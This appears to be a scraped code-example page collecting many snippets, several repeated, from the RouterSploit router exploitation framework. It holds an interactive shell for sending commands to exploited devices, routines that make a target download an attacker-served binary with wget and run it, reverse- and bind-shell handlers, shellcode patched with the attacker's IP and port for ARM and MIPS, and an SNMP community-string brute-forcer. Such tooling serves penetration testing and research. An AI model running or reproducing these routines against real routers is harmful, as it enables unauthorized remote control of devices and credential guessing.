Esempio n. 1
0
def shell(exploit, architecture="", method="", **params):
    while 1:
        while not printer_queue.empty():
            pass

        cmd = raw_input("cmd > ")

        if cmd in ["quit", "exit"]:
            return

        c = cmd.split()
        if len(c) and c[0] == "reverse_tcp":
            if len(c) == 3:
                lhost = c[1]
                lport = c[2]

                revshell = reverse_shell(exploit, architecture, lhost, lport)

                if method == "wget":
                    revshell.wget(binary=params['binary'], location=params['location'])
                elif method == "echo":
                    revshell.echo(binary=params['binary'], location=params['location'])
                elif method == "awk":
                    revshell.awk(binary=params['binary'])
                elif method == "netcat":
                    revshell.netcat(binary=params['binary'], shell=params['shell'])
                else:
                    print_error("Reverse shell is not available")
            else:
                print_error("reverse_tcp <reverse ip> <port>")
        else:
            print_info(exploit.execute(cmd))
Esempio n. 2
0
def shell(exploit, architecture="", method="", **params):
    while 1:
        cmd = raw_input("cmd > ")

        if cmd in ["quit", "exit"]:
            return

        c = cmd.split()
        if c[0] == "reverse_tcp":
            if len(c) == 3:
                lhost = c[1]
                lport = c[2]

                revshell = reverse_shell(exploit, architecture, lhost, lport)

                if method == "wget":
                    revshell.wget(binary=params['binary'], location=params['location'])
                elif method == "echo":
                    revshell.echo(binary=params['binary'], location=params['location'])
                elif method == "awk":
                    revshell.awk(binary=params['binary'])
                elif method == "netcat":
                    revshell.netcat(binary=params['binary'], shell=params['shell'])
                else:
                    print_error("Reverse shell is not available")
            else:
                print_error("reverse_tcp <reverse ip> <port>")
        else:
           print_info(exploit.execute(cmd))
Esempio n. 3
0
    def wget(self):
        print_status("Using wget method")
        self.binary_name = random_text(8)

        if "binary" in self.wget_options.keys():
            binary = self.wget_options['binary']
        else:
            binary = "wget"

        # run http server
        self.mutex = True
        thread = threading.Thread(target=self.http_server, args=(self.options['lhost'], self.options['lport']))
        thread.start()

        while self.mutex:
            pass

        if self.port_used:
            print_error("Could not set up HTTP Server on {}:{}".format(self.options['lhost'], self.options['lport']))
            return False

        # wget binary
        print_status("Using wget to download binary")
        cmd = "{} http://{}:{}/{} -O {}/{}".format(binary,
                                                   self.options['lhost'],
                                                   self.options['lport'],
                                                   self.binary_name,
                                                   self.location,
                                                   self.binary_name)

        self.exploit.execute(cmd)
        return True
Esempio n. 4
0
    def generate_binary(self, lhost, lport):
        print_status("Generating reverse shell binary")
        self.binary_name = random_text(8)
        ip = self.convert_ip(lhost)
        port = self.convert_port(lport)

        if self.arch == "arm":
            self.revshell = self.arm[:0x104] + ip + self.arm[0x108:0x10A] + port + self.arm[0x10C:]
        elif self.arch == "mipsel":
            self.revshell = (
                self.mipsel[:0xE4]
                + port
                + self.mipsel[0xE6:0xF0]
                + ip[2:]
                + self.mipsel[0xF2:0xF4]
                + ip[:2]
                + self.mipsel[0xF6:]
            )
        elif self.arch == "mips":
            self.revshell = (
                self.mips[:0xEA]
                + port
                + self.mips[0xEC:0xF2]
                + ip[:2]
                + self.mips[0xF4:0xF6]
                + ip[2:]
                + self.mips[0xF8:]
            )
        else:
            print_error("Platform not supported")
Esempio n. 5
0
    def reverse_tcp(self):
        sock = self.listen(self.options['lhost'], self.options['lport'])
        if self.port_used:
            print_error("Could not set up listener on {}:{}".format(
                self.options['lhost'], self.options['lport']))
            return

        # execute binary
        commands = self.build_commands()

        print_status("Executing payload on the device")

        # synchronized commands
        for command in commands[:-1]:
            self.exploit.execute(command)

        # asynchronous last command to execute binary
        thread = threading.Thread(target=self.exploit.execute,
                                  args=(commands[-1], ))
        thread.start()

        # waiting for shell
        print_status("Waiting for reverse shell...")
        client, addr = sock.accept()
        sock.close()
        print_status("Connection from {}:{}".format(addr[0], addr[1]))

        print_success("Enjoy your shell")
        t = telnetlib.Telnet()
        t.sock = client
        t.interact()
Esempio n. 6
0
    def wget(self):
        print_status("Using wget method")
        self.binary_name = random_text(8)

        if "binary" in self.wget_options.keys():
            binary = self.wget_options['binary']
        else:
            binary = "wget"

        # run http server
        self.mutex = True
        thread = threading.Thread(target=self.http_server,
                                  args=(self.options['lhost'],
                                        self.options['lport']))
        thread.start()

        while self.mutex:
            pass

        if self.port_used:
            print_error("Could not set up HTTP Server on {}:{}".format(
                self.options['lhost'], self.options['lport']))
            return False

        # wget binary
        print_status("Using wget to download binary")
        cmd = "{} http://{}:{}/{} -O {}/{}".format(
            binary, self.options['lhost'], self.options['lport'],
            self.binary_name, self.location, self.binary_name)

        self.exploit.execute(cmd)
        return True
Esempio n. 7
0
    def reverse_tcp(self):
        sock = self.listen(self.options['lhost'], self.options['lport'])
        if self.port_used:
            print_error("Could not set up listener on {}:{}".format(self.options['lhost'], self.options['lport']))
            return

        # execute binary
        commands = self.build_commands()

        print_status("Executing payload on the device")

        # synchronized commands
        for command in commands[:-1]:
            self.exploit.execute(command)

        # asynchronous last command to execute binary & rm binary
        thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
        thread.start()

        # waiting for shell
        print_status("Waiting for reverse shell...")
        client, addr = sock.accept()
        sock.close()
        print_status("Connection from {}:{}".format(addr[0], addr[1]))

        print_success("Enjoy your shell")
        t = telnetlib.Telnet()
        t.sock = client
        t.interact()
Esempio n. 8
0
    def bind_tcp(self):
        # execute binary
        commands = self.build_commands()

        # synchronized commands
        for command in commands[:-1]:
            self.exploit.execute(command)

        # asynchronous last command to execute binary & rm binary
        thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
        thread.start()

        # connecting to shell
        print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport']))
        time.sleep(2)

        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.options['rhost'], int(self.options['rport'])))
        except socket.error:
            print_error("Could not connect to {}:{}".format(self.options['rhost'], self.options['rport']))
            return

        print_success("Enjoy your shell")
        tn = telnetlib.Telnet()
        tn.sock = sock
        tn.interact()
Esempio n. 9
0
    def bind_tcp(self):
        # execute binary
        commands = self.build_commands()

        for command in commands:
            thread = threading.Thread(target=self.exploit.execute,
                                      args=(command, ))
            thread.start()

        # connecting to shell
        print_status("Connecting to {}:{}".format(self.options['rhost'],
                                                  self.options['rport']))
        time.sleep(2)

        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.options['rhost'], int(self.options['rport'])))
        except socket.error:
            print_error("Could not connect to {}:{}".format(
                self.options['rhost'], self.options['rport']))
            return

        print_success("Enjoy your shell")
        tn = telnetlib.Telnet()
        tn.sock = sock
        tn.interact()
Esempio n. 10
0
 def command_use(self, module_path, *args, **kwargs):
     module_path = utils.pythonize_path(module_path)
     module_path = '.'.join(('routersploit', 'modules', module_path))
     # module_path, _, exploit_name = module_path.rpartition('.')
     try:
         self.current_module = utils.import_exploit(module_path)()
     except RoutersploitException as err:
         utils.print_error(err.message)
Esempio n. 11
0
 def command_set(self, *args, **kwargs):
     key, _, value = args[0].partition(' ')
     if key in self.current_module.options:
         setattr(self.current_module, key, value)
         utils.print_success({key: value})
     else:
         utils.print_error("You can't set option '{}'.\n"
                           "Available options: {}".format(key, self.current_module.options))
Esempio n. 12
0
 def command_use(self, module_path, *args, **kwargs):
     module_path = utils.pythonize_path(module_path)
     module_path = '.'.join(('routersploit', 'modules', module_path))
     # module_path, _, exploit_name = module_path.rpartition('.')
     try:
         self.current_module = utils.import_exploit(module_path)()
     except RoutersploitException as err:
         utils.print_error(err.message)
Esempio n. 13
0
 def command_set(self, *args, **kwargs):
     key, _, value = args[0].partition(' ')
     if key in self.current_module.options:
         setattr(self.current_module, key, value)
         utils.print_success({key: value})
     else:
         utils.print_error("You can't set option '{}'.\n"
                           "Available options: {}".format(key, self.current_module.options))
Esempio n. 14
0
 def command_show(self, *args, **kwargs):
     sub_command = args[0]
     try:
         getattr(self, "_show_{}".format(sub_command))(*args, **kwargs)
     except AttributeError:
         utils.print_error("Unknown 'show' sub-command '{}'. "
                           "What do you want to show?\n"
                           "Possible choices are: {}".format(sub_command, self.show_sub_commands))
Esempio n. 15
0
 def command_show(self, *args, **kwargs):
     sub_command = args[0]
     try:
         getattr(self, "_show_{}".format(sub_command))(*args, **kwargs)
     except AttributeError:
         utils.print_error("Unknown 'show' sub-command '{}'. "
                           "What do you want to show?\n"
                           "Possible choices are: {}".format(sub_command, self.show_sub_commands))
Esempio n. 16
0
 def command_run(self, *args, **kwargs):
     utils.print_status("Running module...")
     try:
         self.current_module.run()
     except KeyboardInterrupt:
         print()
         utils.print_error("Operation cancelled by user")
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
Esempio n. 17
0
 def command_run(self, *args, **kwargs):
     utils.print_status("Running module...")
     try:
         self.current_module.run()
     except KeyboardInterrupt:
         print()
         utils.print_error("Operation cancelled by user")
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
Esempio n. 18
0
 def command_unsetg(self, *args, **kwargs):
     key, _, value = args[0].partition(' ')
     try:
         del GLOBAL_OPTS[key]
     except KeyError:
         utils.print_error("You can't unset global option '{}'.\n"
                           "Available global options: {}".format(key, GLOBAL_OPTS.keys()))
     else:
         utils.print_success({key: value})
Esempio n. 19
0
 def command_use(self, module_path, *args, **kwargs):
     module_path = utils.pythonize_path(module_path)
     module_path = '.'.join(('routersploit', 'modules', module_path))
     # module_path, _, exploit_name = module_path.rpartition('.')
     try:
         module = importlib.import_module(module_path)
         self.current_module = getattr(module, 'Exploit')()
     except (ImportError, AttributeError, KeyError):
         utils.print_error("Error during loading '{}' module".format(utils.humanize_path(module_path)))
Esempio n. 20
0
 def command_unsetg(self, *args, **kwargs):
     key, _, value = args[0].partition(' ')
     try:
         del GLOBAL_OPTS[key]
     except KeyError:
         utils.print_error("You can't unset global option '{}'.\n"
                           "Available global options: {}".format(key, GLOBAL_OPTS.keys()))
     else:
         utils.print_success({key: value})
Esempio n. 21
0
 def command_use(self, module_path, *args, **kwargs):
     module_path = utils.pythonize_path(module_path)
     module_path = '.'.join(('routersploit', 'modules', module_path))
     # module_path, _, exploit_name = module_path.rpartition('.')
     try:
         module = importlib.import_module(module_path)
         self.current_module = getattr(module, 'Exploit')()
     except (ImportError, AttributeError, KeyError):
         utils.print_error("Error during loading '{}' module".format(
             utils.humanize_path(module_path)))
Esempio n. 22
0
    def generate_binary(self, lhost, lport):
        print_status("Generating reverse shell binary")
        self.binary_name = random_text(8)
        ip = self.convert_ip(lhost)
        port = self.convert_port(lport)

        if self.arch == 'arm':
            self.revshell = self.arm[:0x104] + ip + self.arm[0x108:0x10a] + port + self.arm[0x10c:]
        elif self.arch == 'mipsel':
            self.revshell = self.mipsel[:0xe4] + port + self.mipsel[0xe6:0xf0] + ip[2:] + self.mipsel[0xf2:0xf4] + ip[:2] + self.mipsel[0xf6:]
        else:
            print_error("Platform not supported")
Esempio n. 23
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
     else:
         if result is True:
             utils.print_success("Target is vulnerable")
         elif result is False:
             utils.print_error("Target is not vulnerable")
         else:
             utils.print_status("Target could not be verified")
Esempio n. 24
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
     else:
         if result is True:
             utils.print_success("Target is vulnerable")
         elif result is False:
             utils.print_error("Target is not vulnerable")
         else:
             utils.print_status("Target could not be verified")
Esempio n. 25
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except Exception as error:
         utils.print_error(error)
     else:
         if result is True:
             utils.print_success("Target is vulnerable")
         elif result is False:
             utils.print_error("Target is not vulnerable")
         else:
             utils.print_status("Target could not be verified")
Esempio n. 26
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except Exception as error:
         utils.print_error(error)
     else:
         if result is True:
             utils.print_success("Target is vulnerable")
         elif result is False:
             utils.print_error("Target is not vulnerable")
         else:
             utils.print_status("Target could not be verified")
Esempio n. 27
0
    def command_search(self, *args, **kwargs):
        keyword = args[0]

        if not keyword:
            utils.print_error(
                "Please specify search keyword. e.g. 'search cisco'")
            return

        for module in self.modules:
            if keyword in module:
                module = utils.humanize_path(module)
                utils.print_info(
                    "{}\033[31m{}\033[0m{}".format(*module.partition(keyword)))
Esempio n. 28
0
    def command_search(self, *args, **kwargs):
        keyword = args[0]

        if not keyword:
            utils.print_error("Please specify search keyword. e.g. 'search cisco'")
            return

        for module in self.modules:
            if keyword in module:
                module = utils.humanize_path(module)
                utils.print_info(
                    "{}\033[31m{}\033[0m{}".format(*module.partition(keyword))
                )
Esempio n. 29
0
def shell(exploit, architecture="", method="", **params):
    while 1:
        while not printer_queue.empty():
            pass

        cmd = raw_input("cmd > ")

        if cmd in ["quit", "exit"]:
            return

        c = cmd.split()
        if len(c) and (c[0] == "bind_tcp" or c[0] == "reverse_tcp"):
            options = {}
            if c[0] == "bind_tcp":
                try:
                    options['technique'] = "bind_tcp"
                    options['rhost'] = validators.ipv4(exploit.target)
                    options['rport'] = int(c[1])
                    options['lhost'] = c[2]
                    options['lport'] = int(c[3])
                except:
                    print_error("bind_tcp <rport> <lhost> <lport>")

                payload = bind_tcp(architecture, options['rport'])

            elif c[0] == "reverse_tcp":
                try:
                    options['technique'] = "reverse_tcp"
                    options['lhost'] = c[1]
                    options['lport'] = int(c[2])
                except:
                    print_error("reverse_tcp <lhost> <lport>")

                payload = reverse_tcp(architecture, options['lhost'],
                                      options['lport'])

            communication = Communication(exploit, payload, options)

            if method == "wget":
                communication.wget(binary=params['binary'],
                                   location=params['location'])
            elif method == "echo":
                communication.echo(binary=params['binary'],
                                   location=params['location'])
            elif method == "awk":
                communication.awk(binary=params['binary'])
            elif method == "netcat":
                communication.netcat(binary=params['binary'],
                                     shell=params['shell'])
        else:
            print_info(exploit.execute(cmd))
Esempio n. 30
0
    def generate_binary(self, lhost, lport):
        print_status("Generating reverse shell binary")
        self.binary_name = random_text(8)
        ip = self.convert_ip(lhost)
        port = self.convert_port(lport)

        if self.arch == 'arm':
            self.revshell = self.arm[:0x104] + ip + self.arm[0x108:0x10a] + port + self.arm[0x10c:]
        elif self.arch == 'mipsel':
            self.revshell = self.mipsel[:0xe4] + port + self.mipsel[0xe6:0xf0] + ip[2:] + self.mipsel[0xf2:0xf4] + ip[:2] + self.mipsel[0xf6:]
        elif self.arch == 'mips':
            self.revshell = self.mips[:0xea] + port + self.mips[0xec:0xf2] + ip[:2] + self.mips[0xf4:0xf6] + ip[2:] + self.mips[0xf8:]
        else:
            print_error("Platform not supported")
Esempio n. 31
0
    def start(self):
        """ Routersploit main entry point. Starting interpreter loop. """

        print(self.banner)
        while True:
            try:
                command, args = self.parse_line(raw_input(self.prompt))
                if not command:
                    continue
                command_handler = self.get_command_handler(command)
                command_handler(args)
            except RoutersploitException as err:
                utils.print_error(err)
            except (KeyboardInterrupt, EOFError):
                print()
                utils.print_status("routersploit stopped")
                break
Esempio n. 32
0
    def start(self):
        """ Routersploit main entry point. Starting interpreter loop. """

        print(self.banner)
        while True:
            try:
                command, args = self.parse_line(raw_input(self.prompt))
                if not command:
                    continue
                command_handler = self.get_command_handler(command)
                command_handler(args)
            except RoutersploitException as err:
                utils.print_error(err)
            except (KeyboardInterrupt, EOFError):
                print()
                utils.print_status("routersploit stopped")
                break
Esempio n. 33
0
def bind_tcp(arch, rport):
    print_status("Generating bind shell binary")

    if arch == 'armle':
        payload = payloads.armle_bind_tcp.Exploit()
    elif arch == 'mipsle':
        payload = payloads.mipsle_bind_tcp.Exploit()
    elif arch == 'mipsbe':
        payload = payloads.mipsbe_bind_tcp.Exploit()
    else:
        print_error("Platform not supported")
        return None

    payload.port = rport

    payload.generate()
    return payload.generate_elf()
Esempio n. 34
0
def reverse_tcp(arch, lhost, lport):
    print_status("Generating reverse shell binary")

    if arch == 'armle':
        payload = payloads.armle_reverse_tcp.Exploit()
    elif arch == 'mipsle':
        payload = payloads.mipsle_reverse_tcp.Exploit()
    elif arch == 'mipsbe':
        payload = payloads.mipsbe_reverse_tcp.Exploit()
    else:
        print_error("Platform not supported")
        return None

    payload.target = lhost
    payload.port = lport

    payload.generate()
    return payload.generate_elf()
Esempio n. 35
0
    def run(self):
        self.strings= []

        # todo: check if service is up

        if self.snmp.startswith('file://'):
            snmp = open(self.snmp[7:], 'r')
        else:
            snmp = [self.snmp]

        collection = LockedIterator(snmp)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.strings):
            print_success("Credentials found!")
            headers = tuple(["Community Strings"])
            print_table(headers, *self.strings)
        else:
            print_error("Valid community strings not found")
Esempio n. 36
0
    def run(self):
        self.strings = []
        print_status("Running module...")

        # todo: check if service is up

        if self.snmp.startswith('file://'):
            snmp = open(self.snmp[7:], 'r')
        else:
            snmp = [self.snmp]

        collection = LockedIterator(snmp)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.strings):
            print_success("Credentials found!")
            headers = tuple(["Community Strings"])
            print_table(headers, *self.strings)
        else:
            print_error("Valid community strings not found")
Esempio n. 37
0
    def target_function(self, running, data):
        name = threading.current_thread().name
        address = "{}:{}".format(self.target, self.port)

        print_status(name, 'thread is starting...')

        while running.is_set():
            try:
                string = data.next().strip()

                bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0")
                res = netsnmp.snmpget(bindvariable, Version=1, DestHost=address, Community=string)

                if res[0] is not None:
                    running.clear()
                    print_success("{}: Valid community string found!".format(name), string)
                    self.strings.append(tuple([string]))
                else:
                    print_error("{}: Invalid community string.".format(name), string)

            except StopIteration:
                break

        print_status(name, 'thread is terminated.')
Esempio n. 38
0
 def command_run(self, *args, **kwargs):
     try:
         self.current_module.validate_setup()
         utils.print_status("Running module...")
         self.current_module.run()
     except KeyboardInterrupt:
         utils.print_info()
         utils.print_error("Operation cancelled by user")
     except OptionValidationError as err:
         utils.print_error(err)
     except Exception:
         utils.print_error(traceback.format_exc(sys.exc_info()))
Esempio n. 39
0
 def command_run(self, *args, **kwargs):
     try:
         self.current_module.validate_setup()
         utils.print_status("Running module...")
         self.current_module.run()
     except KeyboardInterrupt:
         utils.print_info()
         utils.print_error("Operation cancelled by user")
     except OptionValidationError as err:
         utils.print_error(err)
     except Exception:
         utils.print_error(traceback.format_exc(sys.exc_info()))
Esempio n. 40
0
 def command_run(self, *args, **kwargs):
     utils.print_status("Running module...")
     try:
         self.current_module.run()
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
Esempio n. 41
0
 def command_run(self, *args, **kwargs):
     utils.print_status("Running module...")
     try:
         self.current_module.run()
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
Esempio n. 42
0
def shell(exploit, architecture="", method="", payloads=None, **params):
    path = "routersploit/modules/payloads/{}/".format(architecture)
    payload = None
    options = []

    if not payloads:
        payloads = [
            f.split(".")[0] for f in listdir(path) if isfile(join(path, f))
            and f.endswith(".py") and f != "__init__.py"
        ]

    print_info()
    print_success(
        "Welcome to cmd. Commands are sent to the target via the execute method."
    )
    print_status(
        "Depending on the vulnerability, command's results might not be available."
    )
    print_status(
        "For further exploitation use 'show payloads' and 'set payload <payload>' commands."
    )
    print_info()

    while 1:
        while not printer_queue.empty():
            pass

        if payload is None:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > "
        else:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(
                payload._Exploit__info__['name'])

        cmd = raw_input(cmd_str)

        if cmd in ["quit", "exit"]:
            return

        elif cmd == "show payloads":
            print_status("Available payloads:")
            for payload_name in payloads:
                print_info("- {}".format(payload_name))

        elif cmd.startswith("set payload "):
            c = cmd.split(" ")

            if c[2] in payloads:
                payload_path = path.replace("/", ".") + c[2]
                payload = getattr(importlib.import_module(payload_path),
                                  'Exploit')()

                options = []
                for option in payload.exploit_attributes.keys():
                    if option not in ["output", "filepath"]:
                        options.append([
                            option,
                            getattr(payload, option),
                            payload.exploit_attributes[option]
                        ])

                if payload.handler == "bind_tcp":
                    options.append([
                        "rhost",
                        validators.ipv4(exploit.target), "Target IP address"
                    ])

                    if method == "wget":
                        options.append(
                            ["lhost", "", "Connect-back IP address for wget"])
                        options.append(
                            ["lport", 4545, "Connect-back Port for wget"])
            else:
                print_error("Payload not available")

        elif payload is not None:
            if cmd == "show options":
                headers = ("Name", "Current settings", "Description")

                print_info('\nPayload Options:')
                print_table(headers, *options)
                print_info()

            elif cmd.startswith("set "):
                c = cmd.split(" ")
                if len(c) != 3:
                    print_error("set <option> <value>")
                else:
                    for option in options:
                        if option[0] == c[1]:
                            try:
                                setattr(payload, c[1], c[2])
                            except Exception:
                                print_error("Invalid value for {}".format(
                                    c[1]))
                                break

                            option[1] = c[2]
                            print_success("{'" + c[1] + "': '" + c[2] + "'}")

            elif cmd == "run":
                data = payload.generate()

                if method == "wget":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options,
                                                  **params)
                    if communication.wget() is False:
                        continue

                elif method == "echo":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options,
                                                  **params)
                    communication.echo()

                elif method == "generic":
                    params['exec_binary'] = data
                    communication = Communication(exploit, "", options,
                                                  **params)

                if payload.handler == "bind_tcp":
                    communication.bind_tcp()
                elif payload.handler == "reverse_tcp":
                    communication.reverse_tcp()

            elif cmd == "back":
                payload = None

        else:
            print_status("Executing '{}' on the device...".format(cmd))
            print_info(exploit.execute(cmd))
Esempio n. 43
0
def shell(exploit, architecture="", method="", payloads=None, **params):
    path = "routersploit/modules/payloads/{}/".format(architecture)
    payload = None
    options = []

    if not payloads:
        payloads = [f.split(".")[0] for f in listdir(path) if isfile(join(path, f)) and f.endswith(".py") and f != "__init__.py"]

    print_info()
    print_success("Welcome to cmd. Commands are sent to the target via the execute method.")
    print_status("Depending on the vulnerability, command's results might not be available.")
    print_status("For further exploitation use 'show payloads' and 'set payload <payload>' commands.")
    print_info()

    while 1:
        while not printer_queue.empty():
            pass

        if payload is None:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > "
        else:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(payload._Exploit__info__['name'])

        cmd = raw_input(cmd_str)

        if cmd in ["quit", "exit"]:
            return

        elif cmd == "show payloads":
            print_status("Available payloads:")
            for payload_name in payloads:
                print_info("- {}".format(payload_name))

        elif cmd.startswith("set payload "):
            c = cmd.split(" ")

            if c[2] in payloads:
                payload_path = path.replace("/", ".") + c[2]
                payload = getattr(importlib.import_module(payload_path), 'Exploit')()

                options = []
                for option in payload.exploit_attributes.keys():
                    if option not in ["output", "filepath"]:
                        options.append([option, getattr(payload, option), payload.exploit_attributes[option]])

                if payload.handler == "bind_tcp":
                    options.append(["rhost", validators.ipv4(exploit.target), "Target IP address"])

                    if method == "wget":
                        options.append(["lhost", "", "Connect-back IP address for wget"])
                        options.append(["lport", 4545, "Connect-back Port for wget"])
            else:
                print_error("Payload not available")

        elif payload is not None:
            if cmd == "show options":
                headers = ("Name", "Current settings", "Description")

                print_info('\nPayload Options:')
                print_table(headers, *options)
                print_info()

            elif cmd.startswith("set "):
                c = cmd.split(" ")
                if len(c) != 3:
                    print_error("set <option> <value>")
                else:
                    for option in options:
                        if option[0] == c[1]:
                            try:
                                setattr(payload, c[1], c[2])
                            except Exception:
                                print_error("Invalid value for {}".format(c[1]))
                                break

                            option[1] = c[2]
                            print_success("{'" + c[1] + "': '" + c[2] + "'}")

            elif cmd == "run":
                data = payload.generate()

                if method == "wget":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options, **params)
                    if communication.wget() is False:
                        continue

                elif method == "echo":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options, **params)
                    communication.echo()

                elif method == "generic":
                    params['exec_binary'] = data
                    communication = Communication(exploit, "", options, **params)

                if payload.handler == "bind_tcp":
                    communication.bind_tcp()
                elif payload.handler == "reverse_tcp":
                    communication.reverse_tcp()

            elif cmd == "back":
                payload = None

        else:
            print_status("Executing '{}' on the device...".format(cmd))
            print_info(exploit.execute(cmd))
Esempio n. 44
0
 def command_debug(self, *args, **kwargs):
     for key, value in self.modules_with_errors.iteritems():
         utils.print_info(key)
         utils.print_error(value, '\n')
Esempio n. 45
0
 def command_debug(self, *args, **kwargs):
     for key, value in self.modules_with_errors.iteritems():
         utils.print_info(key)
         utils.print_error(value, '\n')